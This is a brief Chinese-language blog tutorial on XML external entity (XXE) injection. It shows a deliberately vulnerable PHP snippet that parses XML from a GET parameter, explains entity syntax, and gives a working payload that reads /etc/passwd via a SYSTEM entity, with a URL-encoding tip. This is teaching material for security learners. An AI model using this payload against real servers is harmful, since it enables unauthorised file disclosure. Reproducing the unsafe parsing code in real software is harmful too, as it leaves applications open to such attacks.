醉梦半醒的博客

XXE

字数统计: 62阅读时长: 1 min
2019/03/25 Share

#后端代码
<?php
$xml=simplexml_load_string($_GET[‘xml’])
print_r((string)$xml);
?>

#XML语法
<!DOCTYPE 文件名 [
<!ENTITY 实体名 “实体内容”>
]>

#XXE
<!DOCTYPE xxx[
<!ENTITY name SYSTEM “file:///etc/passwd”>
]>
%26name;

&编码为%26,否则GET请求会导致错误

CATALOG